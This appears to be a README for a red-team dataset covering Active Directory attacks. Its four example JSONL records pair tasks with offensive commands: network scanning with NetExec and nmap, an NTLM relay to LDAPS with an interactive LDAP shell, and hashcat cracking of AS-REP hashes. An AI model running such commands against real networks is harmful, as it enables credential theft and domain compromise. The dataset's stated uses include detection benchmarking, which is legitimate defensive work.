Redteam-Operations-Datasets
A comprehensive dataset for training, benchmarking, and documenting offensive/red-team operations in Active Directory and hybrid environments.
Structure
datasets/— All dataset files, organized by attack phase, tactic, and technique.datasets/schema/record.schema.json— Canonical schema for dataset records.datasets/*.jsonl— Task-specific datasets, each line is a JSON object.
Usage
- For fine-tuning LLMs, benchmarking detection, or creating mindmaps/playbooks.
- Each file is a JSONL (one record per line), see the example schema below.
Example Record
{"instruction": "Scan Network", "input": "nxc smb <ip_range>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "NTLM relay > To LDAP(S)", "input": "ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111 #LDAP SHELL", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
{"instruction": "Scan Network", "input": "nmap -Pn -sC -sV -p- -oA <output> <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Kerberos ASREP ($krb5asrep$23...)", "input": "hashcat -m 18200 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'Kerberos ASREP ($krb5asrep$23...)'."}